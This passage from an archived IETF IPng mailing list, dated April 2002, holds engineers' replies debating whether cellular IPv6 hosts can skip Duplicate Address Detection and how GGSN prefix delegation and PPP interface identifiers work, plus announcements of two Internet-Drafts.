[129.147.5.34]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA23869 for ; Mon, 29 Apr 2002 02:30:50 -0700 (PDT) Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [193.180.251.47]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA13888 for ; Mon, 29 Apr 2002 03:30:49 -0600 (MDT) Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61]) by penguin.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g3T9UTs7024478 for ; Mon, 29 Apr 2002 11:30:29 +0200 (MEST) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt461 ; Mon Apr 29 11:32:31 2002 +0200 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Mon, 29 Apr 2002 11:19:49 +0200 Message-ID: <4DA6EA82906FD511BE2F00508BCF053802C6ACD3@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "Hesham Soliman (ERA)" , "'Margaret Wasserman'" , "'ipng@sunroof.eng.sun.com'" Subject: RE: Review comments on IPv6 for Second and Third Generation Cellu lar Hosts Date: Mon, 29 Apr 2002 11:30:26 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk A couple of comments below for the benefit of the list. > Section 2.5.1: > DAD is not an optional part of Stateless Address > Autoconfiguration, > > and it should not be considered optional for cellular hosts. > > If you really believe that DAD should be optional > for some link > > types, we need to re-visit the Stateless > Autoconfiguration spec. > > We should not just declare DAD to be optional here. >I think we (the authors) need to do some thinking on > this, as there >is the feeling that 2462 does not apply to the 3GPP > network, but >I guess you feel strongly that it does. > => Agree with John's comment. I'd like to add that this is not the authors' opinion, we used (in this section) the 3GPP specs which were modified based on the advice draft. > > > Section 2.7.1: > > > > > > > > The document says: > > > > > > > > "To avoid any duplication in link-local addresses > > > > between the TE and the GGSN, the MT must always > > reject other > > > > suggested interface identifiers by the TE. This > > results in the TE > > > > always using the interface identifier suggested by > > the GGSN for its > > > > link-local address." > > > > > > > > What does this mean? I thought that laptops would be able > > > > to generate privacy addresses using randomly allocated > > identifiers. > => Sure. This is still allowed when following the paragraph in the draft. The draft is referring to the PPP negotiation, which is concerned with the interface id for link local addresses only. There is no mandate to use the same iid for other scopes of adresses. So privacy is still preserved for addresses with scopes larger than the link scope. Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 02:35:54 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3T9ZsrP000176; Mon, 29 Apr 2002 02:35:54 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3T9ZsrO000175; Mon, 29 Apr 2002 02:35:54 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3T9ZprP000166 for ; Mon, 29 Apr 2002 02:35:51 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA02784 for ; Mon, 29 Apr 2002 02:35:52 -0700 (PDT) Received: from albatross.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [193.180.251.49]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA22495 for ; Mon, 29 Apr 2002 02:35:51 -0700 (PDT) Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61]) by albatross.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with SMTP id g3T9Zo0E007148 for ; Mon, 29 Apr 2002 11:35:50 +0200 (MEST) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt461 ; Mon Apr 29 11:37:45 2002 +0200 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Mon, 29 Apr 2002 11:25:04 +0200 Message-ID: <795A014AF92DD21182AF0008C7A404320DFBF0A3@esealnt117> From: "Karim El-Malki (ERA)" To: "'Craig Dunk'" , ipng@sunroof.eng.sun.com Subject: RE: Review comments on IPv6 for Second and Third Generation Cellu lar Hosts Date: Mon, 29 Apr 2002 11:33:30 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > The draft recommends the GGSN assigning 64 bit prefixes to > devices. Just to avoid confusion, the draft itself doesn't recommend it but the prefix assignment is in the 3GPP specs. > For a > single mobile device this amounts to creating a link scope > with only one > device on it. Would it be fair to say this is the source of > the "you can > ignore DAD" arguments? Not sure if I understand what you mean. The laptop/device and GGSN need link-locals and these can be ensured not to be duplicates by using e.g. PPP in the laptop case (interface id configuration option). Maybe that's what you meant anyway. The device is then assigned a (global) prefix by the GGSN on which only that device configures addresses. It's just like a router and a host connected over a PPP link where the router delegates a /64 prefix to the host (i.e. router does not configure addresses on the prefix). DAD would not be necessary in this particular case and its suppression would be a useful optimisation. Note that the GGSN will reply to NS for NUD. > Additionally, if the device is going > to have multiple > identities (someone has used the Bluetooth Personal Area > Network example) > all of these will be effectively going through the device > that has the gprs > protocols, which means that it has taken on a sort of router > function: Like > a home network with a router hooked up over a dialup connection? It could be just a multi-link modem (all identities have their own /64) or it could be a router as you say. Clearly the router has advantages but not all devices will have this functionality. > > Some questions: > > -is this similar to the idea of zero config home router set > up (again the > home network analogy). and can the solution proposed within > be applied to > that situation or can some common solution apply? I think the idea was to consider the non-router case first and then apply the appropriate router solution which will hopefully be an existing one. However not all devices will have this. > > -some elements of the gprs network were correctly considered > a "given" for > this recommendation. Is there any reasonable opportunity to > engage in other, > higher impact, longer term discussions about opportunities > and applicability > of moving to a v6 core network (perhaps even engage in dialog on the > applicability of mobileipv6?). It seems to me that pdp > contexts create kind > of a "circuit" in an otherwise packet switched network and > ipng expertise > may be able to assist with information on how to apply ipv6 > technology to > get the desired effects as 3GPP attempts to move to an IP > core network. Now it is most important to get IPv6 in 3GPP to be inline with the IETF standards. The longer term architectural discussions relating to the internals of the 3GPP network is probably something that should be decided and done in 3GPP, where the detailed knowledge of the architecture is, with the help of the ipv6wg etc. However, since we're in the early stages of IPv6 in 3GPP it is too soon to talk about architecture evolution. > > -some of the optimizations (e.g. DAD removal) will presumably not be > available in the case of the laptop connecting to a device > where the device > acts just as a provider of the link layer unless the laptop > protocol stack > is explicitly aware of the link technology? Is that true? True. > > -Would a way to avoid 3GPP appearing to be a special case to > try to converge > it with PPP in its approaches? That might mean that > solutions that apply to > ppp or gprs could be applied more generally to both and it > might address > comments like: I think that it's appropriate to look at this case as a PPP link where there is some form of RA-based prefix assignment/delegation. > As mentioned above, would it be fair to say stateless is > only approximately > stateless since prefixes are being statefully distributed > and there is only > one device using that prefix (or in more elaborate cases > where there are > multiple addresses or devices that a single device is managing the > allocation within that prefix). > Agreed, due to the point-to-point wireless link-layer and other considerations. More info on this in draft-ietf-ipv6-3gpp-recommend-02 /Karim -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 02:55:59 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3T9txrP000242; Mon, 29 Apr 2002 02:55:59 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3T9txWo000240; Mon, 29 Apr 2002 02:55:59 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3T9turP000231 for ; Mon, 29 Apr 2002 02:55:56 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA07307 for ; Mon, 29 Apr 2002 02:55:57 -0700 (PDT) From: john.loughney@nokia.com Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA06356 for ; Mon, 29 Apr 2002 03:55:56 -0600 (MDT) Received: from esvir03nok.nokia.com (esvir03nokt.ntc.nokia.com [172.21.143.35]) by mgw-x2.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id g3T9uFF00568 for ; Mon, 29 Apr 2002 12:56:15 +0300 (EET DST) Received: from esebh003.NOE.Nokia.com (unverified) by esvir03nok.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Mon, 29 Apr 2002 12:55:53 +0300 Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.3779); Mon, 29 Apr 2002 12:55:53 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: Review comments on IPv6 for Second and Third Generation Cellular Hosts Date: Mon, 29 Apr 2002 12:55:53 +0300 Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEFD38DCF@esebe004.NOE.Nokia.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Review comments on IPv6 for Second and Third Generation Cellular Hosts Thread-Index: AcHtHBYx88qd03lgTDCw8rT9gBlZrgCRvHcQ To: , X-OriginalArrivalTime: 29 Apr 2002 09:55:53.0811 (UTC) FILETIME=[0D119A30:01C1EF64] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id g3T9turP000232 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi all, One point of clarification: > > Section 2.5.1: > > > > DAD is not an optional part of Stateless Address Autoconfiguration, > > and it should not be considered optional for cellular hosts. > > If you really believe that DAD should be optional for some link > > types, we need to re-visit the Stateless Autoconfiguration spec. > > We should not just declare DAD to be optional here. > > I think we (the authors) need to do some thinking on this, as there > is the feeling that 2462 does not apply to the 3GPP network, but > I guess you feel strongly that it does. I think a possible resolution to this is to state something like the following: 2.5.1 Stateless Address Autoconfiguration in 3GPP A 3GPP cellular host must process a Router Advertisement as stated in chapter 5.5.3 of [RFC-2462]. These cellular hosts can set DupAddrDetectTransmits equal to zero, as each delegated prefix is unique within its scope when allocated using the 3GPP IPv6 Stateless Address Autoconfiguration. See appendix B for more details on 3GPP IPv6 Stateless Address Autoconfiguration. I base my reasoning on the following text: >From IPv6 Stateless Address Autoconfiguration (RFC2462) DupAddrDetectTransmits The number of consecutive Neighbor Solicitation messages sent while performing Duplicate Address Detection on a tentative address. A value of zero indicates that Duplicate Address Detection is not performed on tentative addresses. A value of one indicates a single transmission with no follow up retransmissions. Default: 1, but may be overridden by a link-type specific value in the document that covers issues related to the transmission of IP over a particular link type (e.g., [IPv6-ETHER]). >From IPv6 over PPP (RFC2472): 5. Stateless Autoconfiguration and Link-Local Addresses The Interface Identifier of IPv6 unicast addresses [6] of a PPP interface, SHOULD be negotiated in the IPV6CP phase of the PPP connection setup (see section 4.1). If no valid Interface Identifier has been successfully negotiated, procedures for recovering from such a case are unspecified. One approach is to manually configure the Interface Identifier of the interface. As long as the Interface Identifier is negotiated in the IPV6CP phase of the PPP connection setup, it is redundant to perform duplicate address detection as a part of the IPv6 Stateless Autoconfiguration protocol [3]. Therefore it is recommended that for PPP links with the IPV6CP Interface-Identifier option enabled the default value of the DupAddrDetectTransmits autoconfiguration variable [3] be zero. Does this sound reasonable? John -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 04:15:13 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TBFDrP000361; Mon, 29 Apr 2002 04:15:13 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3TBFCeT000360; Mon, 29 Apr 2002 04:15:12 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TBF9rP000353 for ; Mon, 29 Apr 2002 04:15:10 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA22845 for ; Mon, 29 Apr 2002 04:15:12 -0700 (PDT) From: john.loughney@nokia.com Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA06391 for ; Mon, 29 Apr 2002 04:15:11 -0700 (PDT) Received: from esvir02nok.ntc.nokia.com (esvir02nokt.ntc.nokia.com [172.21.143.34]) by mgw-x2.nokia.com (Switch-2.2.1/Switch-2.2.0) with ESMTP id g3TBFTF03378 for ; Mon, 29 Apr 2002 14:15:30 +0300 (EET DST) Received: from esebh001.NOE.Nokia.com (unverified) by esvir02nok.ntc.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Mon, 29 Apr 2002 14:15:09 +0300 Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.3779); Mon, 29 Apr 2002 14:15:09 +0300 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: RE: Review comments on IPv6 for Second and Third Generation Cellular Hosts Date: Mon, 29 Apr 2002 14:15:04 +0300 Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEFD38DD1@esebe004.NOE.Nokia.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Review comments on IPv6 for Second and Third Generation Cellular Hosts Thread-Index: AcHtbuezbW8c9I+MRwGhtMzViZRxrAB/xyqw To: , X-OriginalArrivalTime: 29 Apr 2002 11:15:09.0031 (UTC) FILETIME=[1F669770:01C1EF6F] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id g3TBFArP000354 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi Craig, Comments in-line. > Additionally, if the device is going to have multiple > identities (someone has used the Bluetooth Personal Area Network example) > all of these will be effectively going through the device that has the gprs > protocols, which means that it has taken on a sort of router function: Like > a home network with a router hooked up over a dialup connection? This part is left out of the document. It is concievable there there would be a device attached to the phone, and using the phone as a bridge, but we specifically used the word 'host' in the document in order to make it clear that the device is not a router. > -some elements of the gprs network were correctly considered a "given" for > this recommendation. Is there any reasonable opportunity to engage in other, > higher impact, longer term discussions about opportunities and applicability > of moving to a v6 core network (perhaps even engage in dialog on the > applicability of mobileipv6?). It seems to me that pdp contexts create kind > of a "circuit" in an otherwise packet switched network and ipng expertise > may be able to assist with information on how to apply ipv6 technology to > get the desired effects as 3GPP attempts to move to an IP core network. This document does not intend to modify any specifications - 3GPP or IETF - that is out of scope. > -some of the optimizations (e.g. DAD removal) will presumably not be > available in the case of the laptop connecting to a device where the device > acts just as a provider of the link layer unless the laptop protocol stack > is explicitly aware of the link technology? Is that true? There is some work going on to specify an 'IPv6 over 3GPP PDP Contexts' or something like that. This could be used by a laptop, for example. However, the recommendations in this draft are not meant to change default IPv6 behavior, and it is assumed that the implementations of IPv6 will contain the code for this behavior - but discusses the specific needs of the 3GPP addressing architecture and comments on some small optimizations to work with the 3GPP network. > -Would a way to avoid 3GPP appearing to be a special case to try to converge > it with PPP in its approaches? That might mean that solutions that apply to > ppp or gprs could be applied more generally to both and it might address > comments like: > > > > DAD is not an optional part of Stateless Address > Autoconfiguration, > > > and it should not be considered optional for cellular hosts. > > > If you really believe that DAD should be optional for some link > > > types, we need to re-visit the Stateless Autoconfiguration spec. > > > We should not just declare DAD to be optional here. > > > >I think we (the authors) need to do some thinking on this, as there > >is the feeling that 2462 does not apply to the 3GPP network, but > >I guess you feel strongly that it does. > > > > As mentioned above, would it be fair to say stateless is only approximately > stateless since prefixes are being statefully distributed and there is only > one device using that prefix (or in more elaborate cases where there are > multiple addresses or devices that a single device is managing the > allocation within that prefix). I have sent a follow-up on this point, please check the text to see if it better clarifies the issue. thanks, John -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 04:52:35 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TBqYrP000401; Mon, 29 Apr 2002 04:52:35 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3TBqYMt000400; Mon, 29 Apr 2002 04:52:34 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TBqUrP000393 for ; Mon, 29 Apr 2002 04:52:30 -0700 (PDT) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA23096 for ; Mon, 29 Apr 2002 04:52:33 -0700 (PDT) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by nwkea-mail-2.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA23488 for ; Mon, 29 Apr 2002 04:52:32 -0700 (PDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA24778; Mon, 29 Apr 2002 07:52:24 -0400 (EDT) Message-Id: <200204291152.HAA24778@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; CC: ipng@sunroof.eng.sun.com From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-mkhalil-ipv6-fastra-00.txt Date: Mon, 29 Apr 2002 07:52:24 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. Title : IPv6 Fast Router Advertisement Author(s) : J. Kempf, M. Khalil, B. Pentland Filename : draft-mkhalil-ipv6-fastra-00.txt Pages : 3 Date : 26-Apr-02 This document specifies an amendment to the router solicitation handling procedures in RFC 2461 that allow for improved default router aquisition performance when an active IP host moves from one subnet to another. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-mkhalil-ipv6-fastra-00.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-mkhalil-ipv6-fastra-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-mkhalil-ipv6-fastra-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020426140838.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-mkhalil-ipv6-fastra-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-mkhalil-ipv6-fastra-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020426140838.I-D@ietf.org> --OtherAccess-- --NextPart-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 04:52:25 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TBqPrP000391; Mon, 29 Apr 2002 04:52:25 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3TBqPlq000390; Mon, 29 Apr 2002 04:52:25 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TBqLrP000383 for ; Mon, 29 Apr 2002 04:52:21 -0700 (PDT) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA28488 for ; Mon, 29 Apr 2002 04:52:24 -0700 (PDT) Received: from ietf.org (odin.ietf.org [132.151.1.176]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA14001 for ; Mon, 29 Apr 2002 05:52:23 -0600 (MDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA24750; Mon, 29 Apr 2002 07:52:20 -0400 (EDT) Message-Id: <200204291152.HAA24750@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: ipng@sunroof.eng.sun.com From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ipv6-3gpp-recommend-02.txt Date: Mon, 29 Apr 2002 07:52:20 -0400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Version 6 Working Group Working Group of the IETF. Title : Recommendations for IPv6 in 3GPP Standards Author(s) : M. Wasserman Filename : draft-ietf-ipv6-3gpp-recommend-02.txt Pages : 22 Date : 26-Apr-02 This document contains recommendations from the Internet Engineering Task Force (IETF) IPv6 Working Group to the Third Generation Partnership Project (3GPP) community regarding the use of IPv6 in the 3GPP standards. Specifically, this document recommends that the 3GPP: 1. Specify that multiple prefixes may be assigned to each primary PDP context, 2. Require that a given prefix must not be assigned to more than one primary PDP context, and 3. Allow 3GPP nodes to use multiple identifiers within those prefixes, including randomly generated identifiers. The IPv6 Working Group supports the use of IPv6 within 3GPP and offers these recommendations in a spirit of open cooperation between the IPv6 Working Group and the 3GPP community. Since the original publication of this document as an Internet-Draft, the 3GPP has adopted the primary recommendations of this document. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipv6-3gpp-recommend-02.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipv6-3gpp-recommend-02.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipv6-3gpp-recommend-02.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020426140828.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipv6-3gpp-recommend-02.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipv6-3gpp-recommend-02.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020426140828.I-D@ietf.org> --OtherAccess-- --NextPart-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 07:10:16 2002 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TEAFrP001021; Mon, 29 Apr 2002 07:10:15 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3/Submit) id g3TEAFID001020; Mon, 29 Apr 2002 07:10:15 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.3+Sun/8.12.3) with ESMTP id g3TEA8rP001002 for ; Mon, 29 Apr 2002 07:10:08 -0700 (PDT) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA09507 for ; Mon, 29 Apr 2002 07:10:10 -0700 (PDT) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by nwkea-mail-1.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA23510 for ; Mon, 29 Apr 2002 07:10:10 -0700 (PDT) Received: from kenawang ([147.11.233.2]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id HAA06692; Mon, 29 Apr 2002 07:09:03 -0700 (PDT) Message-Id: <4.2.2.20020429095650.00a91d30@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Mon, 29 Apr 2002 10:05:41 -0400 To: john.loughney@nokia.com From: Margaret Wasserman Subject: RE: Review comments on IPv6 for Second and Third Generation Cellular Hosts Cc: In-Reply-To: <0C1353ABB1DEB74DB067ADFF749C4EEFD38DCF@esebe004.NOE.Nokia. com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi John, >I think a possible resolution to this is to state something like the >following: > > 2.5.1 Stateless Address Autoconfiguration in 3GPP > > A 3GPP cellular host must process a Router Advertisement as stated > in chapter 5.5.3 of [RFC-2462]. > > These cellular hosts can set DupAddrDetectTransmits equal to zero, > as each delegated prefix is unique within its scope when allocated > using the 3GPP IPv6 Stateless Address Autoconfiguration. > > See appendix B for more details on 3GPP IPv6 Stateless Address > Autoconfiguration. > It seems reasonable, and consistent with RFC2462 and the PPP for IPv6 spec, to avoid DAD for addresses where the remote side (GGSN) assigns the IID. I am less certain about the privacy address case. Privacy addresses post-date the PPP spec, so it does not deal with them... In fact, we know that the PPP spec will need to be updated, eventually, to match the newest addressing architecture. Do the 3GPP specifications explicitly state that the GGSN must not allocate any addresses within the allocated prefix? If so, in which document? Thanks, Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Apr 29 07:21:42 2002 Received: from 